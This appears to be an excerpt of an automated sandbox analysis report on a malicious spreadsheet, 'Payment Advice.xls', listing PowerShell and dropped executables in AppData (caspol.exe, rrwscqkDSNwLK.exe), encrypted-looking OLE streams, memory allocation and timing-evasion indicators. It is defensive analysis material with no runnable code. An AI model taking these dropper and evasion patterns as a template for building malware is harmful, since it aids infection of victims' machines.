Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX

Source: Payment Advice.xls	Stream path 'MBD001C4526/Package' entropy: 7.99631060239 (max. 8.0)
Source: Payment Advice.xls	Stream path 'Workbook' entropy: 7.99861998161 (max. 8.0)
Source: ~DF6CCF4596F2406470.TMP.0.dr	Stream path 'Package' entropy: 7.9944184592 (max. 8.0)
Source: CA430000.0.dr	Stream path 'MBD001C4526/Package' entropy: 7.9944184592 (max. 8.0)
Source: CA430000.0.dr	Stream path 'Workbook' entropy: 7.99808964338 (max. 8.0)

Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 2360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 5A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 5510000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 6A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 7A40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 1C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 2590000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 1C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 58C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 5440000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 68C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Memory allocated: 78C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 2C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 2580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 2C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 5950000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 6950000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 6A90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\caspol.exe	Memory allocated: 7A90000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE89273122 rdtsc

5_2_000007FE89273122

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\caspol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1953	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4594	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6121	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3640	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2363	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2093	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1481
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2143
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2214
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2674
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2402
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 928
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3932
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3113
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1322
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1726
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2226
